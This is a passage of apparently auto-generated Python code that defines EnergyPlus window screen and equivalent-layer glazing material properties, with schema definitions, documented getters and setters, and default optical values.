= value @property def screen_beamdiffuse_solar_transmittance(self): """field `Screen Beam-Diffuse Solar Transmittance` | The beam-diffuse solar transmittance of the screen material at normal | incidence averaged over the entire spectrum of solar radiation. | Assumed to be the same for both sides of the screen. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Screen Beam-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_beamdiffuse_solar_transmittance` or None if not set """ return self["Screen Beam-Diffuse Solar Transmittance"] @screen_beamdiffuse_solar_transmittance.setter def screen_beamdiffuse_solar_transmittance(self, value=None): """ Corresponds to IDD field `Screen Beam-Diffuse Solar Transmittance` """ self["Screen Beam-Diffuse Solar Transmittance"] = value @property def screen_beamdiffuse_solar_reflectance(self): """field `Screen Beam-Diffuse Solar Reflectance` | The beam-diffuse solar reflectance of the screen material at normal | incidence averaged over the entire spectrum of solar radiation. | Assumed to be the same for both sides of the screen. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Screen Beam-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_beamdiffuse_solar_reflectance` or None if not set """ return self["Screen Beam-Diffuse Solar Reflectance"] @screen_beamdiffuse_solar_reflectance.setter def screen_beamdiffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Screen Beam-Diffuse Solar Reflectance` """ self["Screen Beam-Diffuse Solar Reflectance"] = value @property def screen_beambeam_visible_transmittance(self): """field `Screen Beam-Beam Visible Transmittance` | The beam-beam visible transmittance of the screen material at normal | incidence averaged over the visible spectrum range of solar radiation. | Assumed to be the same for both sides of the screen. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Screen Beam-Beam Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_beambeam_visible_transmittance` or None if not set """ return self["Screen Beam-Beam Visible Transmittance"] @screen_beambeam_visible_transmittance.setter def screen_beambeam_visible_transmittance(self, value=None): """ Corresponds to IDD field `Screen Beam-Beam Visible Transmittance` """ self["Screen Beam-Beam Visible Transmittance"] = value @property def screen_beamdiffuse_visible_transmittance(self): """field `Screen Beam-Diffuse Visible Transmittance` | The beam-diffuse visible transmittance of the screen material at normal | incidence averaged over the visible spectrum range of solar radiation. | Assumed to be the same for both sides of the screen. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Screen Beam-Diffuse Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_beamdiffuse_visible_transmittance` or None if not set """ return self["Screen Beam-Diffuse Visible Transmittance"] @screen_beamdiffuse_visible_transmittance.setter def screen_beamdiffuse_visible_transmittance(self, value=None): """ Corresponds to IDD field `Screen Beam-Diffuse Visible Transmittance` """ self["Screen Beam-Diffuse Visible Transmittance"] = value @property def screen_beamdiffuse_visible_reflectance(self): """field `Screen Beam-Diffuse Visible Reflectance` | Beam-diffuse visible reflectance of the screen material at normal | incidence averaged over the visible spectrum range of solar radiation. | Assumed to be the same for both sides of the screen. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Screen Beam-Diffuse Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_beamdiffuse_visible_reflectance` or None if not set """ return self["Screen Beam-Diffuse Visible Reflectance"] @screen_beamdiffuse_visible_reflectance.setter def screen_beamdiffuse_visible_reflectance(self, value=None): """ Corresponds to IDD field `Screen Beam-Diffuse Visible Reflectance` """ self["Screen Beam-Diffuse Visible Reflectance"] = value @property def screen_infrared_transmittance(self): """field `Screen Infrared Transmittance` | The long-wave hemispherical transmittance of the screen material. | Assumed to be the same for both sides of the screen. | Units: dimensionless | Default value: 0.02 | value < 1.0 Args: value (float): value for IDD Field `Screen Infrared Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_infrared_transmittance` or None if not set """ return self["Screen Infrared Transmittance"] @screen_infrared_transmittance.setter def screen_infrared_transmittance(self, value=0.02): """Corresponds to IDD field `Screen Infrared Transmittance`""" self["Screen Infrared Transmittance"] = value @property def screen_infrared_emissivity(self): """field `Screen Infrared Emissivity` | The long-wave hemispherical emissivity of the screen material. | Assumed to be the same for both sides of the screen. | Units: dimensionless | Default value: 0.93 | value < 1.0 Args: value (float): value for IDD Field `Screen Infrared Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_infrared_emissivity` or None if not set """ return self["Screen Infrared Emissivity"] @screen_infrared_emissivity.setter def screen_infrared_emissivity(self, value=0.93): """Corresponds to IDD field `Screen Infrared Emissivity`""" self["Screen Infrared Emissivity"] = value @property def screen_wire_spacing(self): """field `Screen Wire Spacing` | Spacing assumed to be the same in both directions. | Units: m | IP-Units: in | Default value: 0.025 Args: value (float): value for IDD Field `Screen Wire Spacing` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_wire_spacing` or None if not set """ return self["Screen Wire Spacing"] @screen_wire_spacing.setter def screen_wire_spacing(self, value=0.025): """Corresponds to IDD field `Screen Wire Spacing`""" self["Screen Wire Spacing"] = value @property def screen_wire_diameter(self): """field `Screen Wire Diameter` | Diameter assumed to be the same in both directions. | Units: m | IP-Units: in | Default value: 0.005 Args: value (float): value for IDD Field `Screen Wire Diameter` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `screen_wire_diameter` or None if not set """ return self["Screen Wire Diameter"] @screen_wire_diameter.setter def screen_wire_diameter(self, value=0.005): """Corresponds to IDD field `Screen Wire Diameter`""" self["Screen Wire Diameter"] = value class WindowMaterialGlazingEquivalentLayer(DataObject): """ Corresponds to IDD object `WindowMaterial:Glazing:EquivalentLayer` Glass material properties for Windows or Glass Doors Transmittance/Reflectance input method. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'optical data type', {'name': u'Optical Data Type', 'pyname': u'optical_data_type', 'default': u'SpectralAverage', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': 'alpha'}), (u'window glass spectral data set name', {'name': u'Window Glass Spectral Data Set Name', 'pyname': u'window_glass_spectral_data_set_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'front side beam-beam solar transmittance', {'name': u'Front Side Beam-Beam Solar Transmittance', 'pyname': u'front_side_beambeam_solar_transmittance', 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side beam-beam solar transmittance', {'name': u'Back Side Beam-Beam Solar Transmittance', 'pyname': u'back_side_beambeam_solar_transmittance', 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side beam-beam solar reflectance', {'name': u'Front Side Beam-Beam Solar Reflectance', 'pyname': u'front_side_beambeam_solar_reflectance', 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side beam-beam solar reflectance', {'name': u'Back Side Beam-Beam Solar Reflectance', 'pyname': u'back_side_beambeam_solar_reflectance', 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side beam-beam visible solar transmittance', {'name': u'Front Side Beam-Beam Visible Solar Transmittance', 'pyname': u'front_side_beambeam_visible_solar_transmittance', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side beam-beam visible solar transmittance', {'name': u'Back Side Beam-Beam Visible Solar Transmittance', 'pyname': u'back_side_beambeam_visible_solar_transmittance', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side beam-beam visible solar reflectance', {'name': u'Front Side Beam-Beam Visible Solar Reflectance', 'pyname': u'front_side_beambeam_visible_solar_reflectance', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side beam-beam visible solar reflectance', {'name': u'Back Side Beam-Beam Visible Solar Reflectance', 'pyname': u'back_side_beambeam_visible_solar_reflectance', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side beam-diffuse solar transmittance', {'name': u'Front Side Beam-Diffuse Solar Transmittance', 'pyname': u'front_side_beamdiffuse_solar_transmittance', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side beam-diffuse solar transmittance', {'name': u'Back Side Beam-Diffuse Solar Transmittance', 'pyname': u'back_side_beamdiffuse_solar_transmittance', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side beam-diffuse solar reflectance', {'name': u'Front Side Beam-Diffuse Solar Reflectance', 'pyname': u'front_side_beamdiffuse_solar_reflectance', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side beam-diffuse solar reflectance', {'name': u'Back Side Beam-Diffuse Solar Reflectance', 'pyname': u'back_side_beamdiffuse_solar_reflectance', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side beam-diffuse visible solar transmittance', {'name': u'Front Side Beam-Diffuse Visible Solar Transmittance', 'pyname': u'front_side_beamdiffuse_visible_solar_transmittance', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side beam-diffuse visible solar transmittance', {'name': u'Back Side Beam-Diffuse Visible Solar Transmittance', 'pyname': u'back_side_beamdiffuse_visible_solar_transmittance', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side beam-diffuse visible solar reflectance', {'name': u'Front Side Beam-Diffuse Visible Solar Reflectance', 'pyname': u'front_side_beamdiffuse_visible_solar_reflectance', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side beam-diffuse visible solar reflectance', {'name': u'Back Side Beam-Diffuse Visible Solar Reflectance', 'pyname': u'back_side_beamdiffuse_visible_solar_reflectance', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'diffuse-diffuse solar transmittance', {'name': u'Diffuse-Diffuse Solar Transmittance', 'pyname': u'diffusediffuse_solar_transmittance', 'default': 'autocalculate', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': True, 'type': u'real', 'unit': u'dimensionless'}), (u'front side diffuse-diffuse solar reflectance', {'name': u'Front Side Diffuse-Diffuse Solar Reflectance', 'pyname': u'front_side_diffusediffuse_solar_reflectance', 'default': 'autocalculate', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': True, 'type': u'real', 'unit': u'dimensionless'}), (u'back side diffuse-diffuse solar reflectance', {'name': u'Back Side Diffuse-Diffuse Solar Reflectance', 'pyname': u'back_side_diffusediffuse_solar_reflectance', 'default': 'autocalculate', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': True, 'type': u'real', 'unit': u'dimensionless'}), (u'diffuse-diffuse visible solar transmittance', {'name': u'Diffuse-Diffuse Visible Solar Transmittance', 'pyname': u'diffusediffuse_visible_solar_transmittance', 'default': 'autocalculate', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': True, 'type': u'real', 'unit': u'dimensionless'}), (u'front side diffuse-diffuse visible solar reflectance', {'name': u'Front Side Diffuse-Diffuse Visible Solar Reflectance', 'pyname': u'front_side_diffusediffuse_visible_solar_reflectance', 'default': 'autocalculate', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': True, 'type': u'real', 'unit': u'dimensionless'}), (u'back side diffuse-diffuse visible solar reflectance', {'name': u'Back Side Diffuse-Diffuse Visible Solar Reflectance', 'pyname': u'back_side_diffusediffuse_visible_solar_reflectance', 'default': 'autocalculate', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': True, 'type': u'real', 'unit': u'dimensionless'}), (u'infrared transmittance (applies to front and back)', {'name': u'Infrared Transmittance (applies to front and back)', 'pyname': u'infrared_transmittance_applies_to_front_and_back', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side infrared emissivity', {'name': u'Front Side Infrared Emissivity', 'pyname': u'front_side_infrared_emissivity', 'default': 0.84, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0, 'unit': u'dimensionless'}), (u'back side infrared emissivity', {'name': u'Back Side Infrared Emissivity', 'pyname': u'back_side_infrared_emissivity', 'default': 0.84, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0, 'unit': u'dimensionless'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 11, 'name': u'WindowMaterial:Glazing:EquivalentLayer', 'pyname': u'WindowMaterialGlazingEquivalentLayer', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def optical_data_type(self): """field `Optical Data Type` | Spectral is no longer supported and SpectralAverage is now the default. | Default value: SpectralAverage Args: value (str): value for IDD Field `Optical Data Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `optical_data_type` or None if not set """ return self["Optical Data Type"] @optical_data_type.setter def optical_data_type(self, value="SpectralAverage"): """Corresponds to IDD field `Optical Data Type`""" self["Optical Data Type"] = value @property def window_glass_spectral_data_set_name(self): """field `Window Glass Spectral Data Set Name` | Used only when Optical Data Type = Spectral Args: value (str): value for IDD Field `Window Glass Spectral Data Set Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `window_glass_spectral_data_set_name` or None if not set """ return self["Window Glass Spectral Data Set Name"] @window_glass_spectral_data_set_name.setter def window_glass_spectral_data_set_name(self, value=None): """Corresponds to IDD field `Window Glass Spectral Data Set Name`""" self["Window Glass Spectral Data Set Name"] = value @property def front_side_beambeam_solar_transmittance(self): """field `Front Side Beam-Beam Solar Transmittance` | Used only when Optical Data Type = SpectralAverage | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Front Side Beam-Beam Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_beambeam_solar_transmittance` or None if not set """ return self["Front Side Beam-Beam Solar Transmittance"] @front_side_beambeam_solar_transmittance.setter def front_side_beambeam_solar_transmittance(self, value=None): """ Corresponds to IDD field `Front Side Beam-Beam Solar Transmittance` """ self["Front Side Beam-Beam Solar Transmittance"] = value @property def back_side_beambeam_solar_transmittance(self): """field `Back Side Beam-Beam Solar Transmittance` | Used only when Optical Data Type = SpectralAverage | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Back Side Beam-Beam Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_beambeam_solar_transmittance` or None if not set """ return self["Back Side Beam-Beam Solar Transmittance"] @back_side_beambeam_solar_transmittance.setter def back_side_beambeam_solar_transmittance(self, value=None): """ Corresponds to IDD field `Back Side Beam-Beam Solar Transmittance` """ self["Back Side Beam-Beam Solar Transmittance"] = value @property def front_side_beambeam_solar_reflectance(self): """field `Front Side Beam-Beam Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | Front Side is side closest to outdoor air | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Front Side Beam-Beam Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_beambeam_solar_reflectance` or None if not set """ return self["Front Side Beam-Beam Solar Reflectance"] @front_side_beambeam_solar_reflectance.setter def front_side_beambeam_solar_reflectance(self, value=None): """ Corresponds to IDD field `Front Side Beam-Beam Solar Reflectance` """ self["Front Side Beam-Beam Solar Reflectance"] = value @property def back_side_beambeam_solar_reflectance(self): """field `Back Side Beam-Beam Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | Back Side is side closest to zone air | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Back Side Beam-Beam Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_beambeam_solar_reflectance` or None if not set """ return self["Back Side Beam-Beam Solar Reflectance"] @back_side_beambeam_solar_reflectance.setter def back_side_beambeam_solar_reflectance(self, value=None): """ Corresponds to IDD field `Back Side Beam-Beam Solar Reflectance` """ self["Back Side Beam-Beam Solar Reflectance"] = value @property def front_side_beambeam_visible_solar_transmittance(self): """field `Front Side Beam-Beam Visible Solar Transmittance` | Used only when Optical Data Type = SpectralAverage | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Front Side Beam-Beam Visible Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_beambeam_visible_solar_transmittance` or None if not set """ return self["Front Side Beam-Beam Visible Solar Transmittance"] @front_side_beambeam_visible_solar_transmittance.setter def front_side_beambeam_visible_solar_transmittance(self, value=None): """ Corresponds to IDD field `Front Side Beam-Beam Visible Solar Transmittance` """ self["Front Side Beam-Beam Visible Solar Transmittance"] = value @property def back_side_beambeam_visible_solar_transmittance(self): """field `Back Side Beam-Beam Visible Solar Transmittance` | Used only when Optical Data Type = SpectralAverage | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Back Side Beam-Beam Visible Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_beambeam_visible_solar_transmittance` or None if not set """ return self["Back Side Beam-Beam Visible Solar Transmittance"] @back_side_beambeam_visible_solar_transmittance.setter def back_side_beambeam_visible_solar_transmittance(self, value=None): """ Corresponds to IDD field `Back Side Beam-Beam Visible Solar Transmittance` """ self["Back Side Beam-Beam Visible Solar Transmittance"] = value @property def front_side_beambeam_visible_solar_reflectance(self): """field `Front Side Beam-Beam Visible Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | Front Side is side closest to outdoor air | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Front Side Beam-Beam Visible Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_beambeam_visible_solar_reflectance` or None if not set """ return self["Front Side Beam-Beam Visible Solar Reflectance"] @front_side_beambeam_visible_solar_reflectance.setter def front_side_beambeam_visible_solar_reflectance(self, value=None): """ Corresponds to IDD field `Front Side Beam-Beam Visible Solar Reflectance` """ self["Front Side Beam-Beam Visible Solar Reflectance"] = value @property def back_side_beambeam_visible_solar_reflectance(self): """field `Back Side Beam-Beam Visible Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | Back Side is side closest to zone air | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Back Side Beam-Beam Visible Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_beambeam_visible_solar_reflectance` or None if not set """ return self["Back Side Beam-Beam Visible Solar Reflectance"] @back_side_beambeam_visible_solar_reflectance.setter def back_side_beambeam_visible_solar_reflectance(self, value=None): """ Corresponds to IDD field `Back Side Beam-Beam Visible Solar Reflectance` """ self["Back Side Beam-Beam Visible Solar Reflectance"] = value @property def front_side_beamdiffuse_solar_transmittance(self): """field `Front Side Beam-Diffuse Solar Transmittance` | Used only when Optical Data Type = SpectralAverage | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Front Side Beam-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_beamdiffuse_solar_transmittance` or None if not set """ return self["Front Side Beam-Diffuse Solar Transmittance"] @front_side_beamdiffuse_solar_transmittance.setter def front_side_beamdiffuse_solar_transmittance(self, value=None): """ Corresponds to IDD field `Front Side Beam-Diffuse Solar Transmittance` """ self["Front Side Beam-Diffuse Solar Transmittance"] = value @property def back_side_beamdiffuse_solar_transmittance(self): """field `Back Side Beam-Diffuse Solar Transmittance` | Used only when Optical Data Type = SpectralAverage | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Back Side Beam-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_beamdiffuse_solar_transmittance` or None if not set """ return self["Back Side Beam-Diffuse Solar Transmittance"] @back_side_beamdiffuse_solar_transmittance.setter def back_side_beamdiffuse_solar_transmittance(self, value=None): """ Corresponds to IDD field `Back Side Beam-Diffuse Solar Transmittance` """ self["Back Side Beam-Diffuse Solar Transmittance"] = value @property def front_side_beamdiffuse_solar_reflectance(self): """field `Front Side Beam-Diffuse Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | Front Side is side closest to outdoor air | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Front Side Beam-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_beamdiffuse_solar_reflectance` or None if not set """ return self["Front Side Beam-Diffuse Solar Reflectance"] @front_side_beamdiffuse_solar_reflectance.setter def front_side_beamdiffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Front Side Beam-Diffuse Solar Reflectance` """ self["Front Side Beam-Diffuse Solar Reflectance"] = value @property def back_side_beamdiffuse_solar_reflectance(self): """field `Back Side Beam-Diffuse Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | Back Side is side closest to zone air | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Back Side Beam-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_beamdiffuse_solar_reflectance` or None if not set """ return self["Back Side Beam-Diffuse Solar Reflectance"] @back_side_beamdiffuse_solar_reflectance.setter def back_side_beamdiffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Back Side Beam-Diffuse Solar Reflectance` """ self["Back Side Beam-Diffuse Solar Reflectance"] = value @property def front_side_beamdiffuse_visible_solar_transmittance(self): """field `Front Side Beam-Diffuse Visible Solar Transmittance` | Used only when Optical Data Type = SpectralAverage | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Front Side Beam-Diffuse Visible Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_beamdiffuse_visible_solar_transmittance` or None if not set """ return self["Front Side Beam-Diffuse Visible Solar Transmittance"] @front_side_beamdiffuse_visible_solar_transmittance.setter def front_side_beamdiffuse_visible_solar_transmittance(self, value=None): """ Corresponds to IDD field `Front Side Beam-Diffuse Visible Solar Transmittance` """ self["Front Side Beam-Diffuse Visible Solar Transmittance"] = value @property def back_side_beamdiffuse_visible_solar_transmittance(self): """field `Back Side Beam-Diffuse Visible Solar Transmittance` | Used only when Optical Data Type = SpectralAverage | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Back Side Beam-Diffuse Visible Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_beamdiffuse_visible_solar_transmittance` or None if not set """ return self["Back Side Beam-Diffuse Visible Solar Transmittance"] @back_side_beamdiffuse_visible_solar_transmittance.setter def back_side_beamdiffuse_visible_solar_transmittance(self, value=None): """ Corresponds to IDD field `Back Side Beam-Diffuse Visible Solar Transmittance` """ self["Back Side Beam-Diffuse Visible Solar Transmittance"] = value @property def front_side_beamdiffuse_visible_solar_reflectance(self): """field `Front Side Beam-Diffuse Visible Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | Front Side is side closest to outdoor air | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Front Side Beam-Diffuse Visible Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_beamdiffuse_visible_solar_reflectance` or None if not set """ return self["Front Side Beam-Diffuse Visible Solar Reflectance"] @front_side_beamdiffuse_visible_solar_reflectance.setter def front_side_beamdiffuse_visible_solar_reflectance(self, value=None): """ Corresponds to IDD field `Front Side Beam-Diffuse Visible Solar Reflectance` """ self["Front Side Beam-Diffuse Visible Solar Reflectance"] = value @property def back_side_beamdiffuse_visible_solar_reflectance(self): """field `Back Side Beam-Diffuse Visible Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | Back Side is side closest to zone air | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Back Side Beam-Diffuse Visible Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_beamdiffuse_visible_solar_reflectance` or None if not set """ return self["Back Side Beam-Diffuse Visible Solar Reflectance"] @back_side_beamdiffuse_visible_solar_reflectance.setter def back_side_beamdiffuse_visible_solar_reflectance(self, value=None): """ Corresponds to IDD field `Back Side Beam-Diffuse Visible Solar Reflectance` """ self["Back Side Beam-Diffuse Visible Solar Reflectance"] = value @property def diffusediffuse_solar_transmittance(self): """field `Diffuse-Diffuse Solar Transmittance` | Used only when Optical Data Type = SpectralAverage | If this field is autocalculate, then the diffuse-diffuse solar | transmittance is automatically estimated from other inputs and used | in subsequent calculations. If this field is zero or positive, then | the value entered here will be used. | Units: dimensionless | Default value: "autocalculate" | value <= 1.0 Args: value (float or "Autocalculate"): value for IDD Field `Diffuse-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float or "Autocalculate": the value of `diffusediffuse_solar_transmittance` or None if not set """ return self["Diffuse-Diffuse Solar Transmittance"] @diffusediffuse_solar_transmittance.setter def diffusediffuse_solar_transmittance(self, value="autocalculate"): """ Corresponds to IDD field `Diffuse-Diffuse Solar Transmittance` """ self["Diffuse-Diffuse Solar Transmittance"] = value @property def front_side_diffusediffuse_solar_reflectance(self): """field `Front Side Diffuse-Diffuse Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | If this field is autocalculate, then the front diffuse-diffuse solar | reflectance is automatically estimated from other inputs and used in | subsequent calculations. If this field is zero or positive, then the value | entered here will be used. Front Side is side closest to outdoor air. | Units: dimensionless | Default value: "autocalculate" | value <= 1.0 Args: value (float or "Autocalculate"): value for IDD Field `Front Side Diffuse-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float or "Autocalculate": the value of `front_side_diffusediffuse_solar_reflectance` or None if not set """ return self["Front Side Diffuse-Diffuse Solar Reflectance"] @front_side_diffusediffuse_solar_reflectance.setter def front_side_diffusediffuse_solar_reflectance( self, value="autocalculate"): """ Corresponds to IDD field `Front Side Diffuse-Diffuse Solar Reflectance` """ self["Front Side Diffuse-Diffuse Solar Reflectance"] = value @property def back_side_diffusediffuse_solar_reflectance(self): """field `Back Side Diffuse-Diffuse Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | If this field is autocalculate, then the back diffuse-diffuse solar | reflectance is automatically estimated from other inputs and used in | subsequent calculations. If this field is zero or positive, then the value | entered here will be used. Back side is side closest to indoor air. | Units: dimensionless | Default value: "autocalculate" | value <= 1.0 Args: value (float or "Autocalculate"): value for IDD Field `Back Side Diffuse-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float or "Autocalculate": the value of `back_side_diffusediffuse_solar_reflectance` or None if not set """ return self["Back Side Diffuse-Diffuse Solar Reflectance"] @back_side_diffusediffuse_solar_reflectance.setter def back_side_diffusediffuse_solar_reflectance( self, value="autocalculate"): """ Corresponds to IDD field `Back Side Diffuse-Diffuse Solar Reflectance` """ self["Back Side Diffuse-Diffuse Solar Reflectance"] = value @property def diffusediffuse_visible_solar_transmittance(self): """field `Diffuse-Diffuse Visible Solar Transmittance` | Used only when Optical Data Type = SpectralAverage | This input field is not used currently. | Units: dimensionless | Default value: "autocalculate" | value <= 1.0 Args: value (float or "Autocalculate"): value for IDD Field `Diffuse-Diffuse Visible Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float or "Autocalculate": the value of `diffusediffuse_visible_solar_transmittance` or None if not set """ return self["Diffuse-Diffuse Visible Solar Transmittance"] @diffusediffuse_visible_solar_transmittance.setter def diffusediffuse_visible_solar_transmittance( self, value="autocalculate"): """ Corresponds to IDD field `Diffuse-Diffuse Visible Solar Transmittance` """ self["Diffuse-Diffuse Visible Solar Transmittance"] = value @property def front_side_diffusediffuse_visible_solar_reflectance(self): """field `Front Side Diffuse-Diffuse Visible Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | This input field is not used currently. | Units: dimensionless | Default value: "autocalculate" | value <= 1.0 Args: value (float or "Autocalculate"): value for IDD Field `Front Side Diffuse-Diffuse Visible Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float or "Autocalculate": the value of `front_side_diffusediffuse_visible_solar_reflectance` or None if not set """ return self["Front Side Diffuse-Diffuse Visible Solar Reflectance"] @front_side_diffusediffuse_visible_solar_reflectance.setter def front_side_diffusediffuse_visible_solar_reflectance( self, value="autocalculate"): """ Corresponds to IDD field `Front Side Diffuse-Diffuse Visible 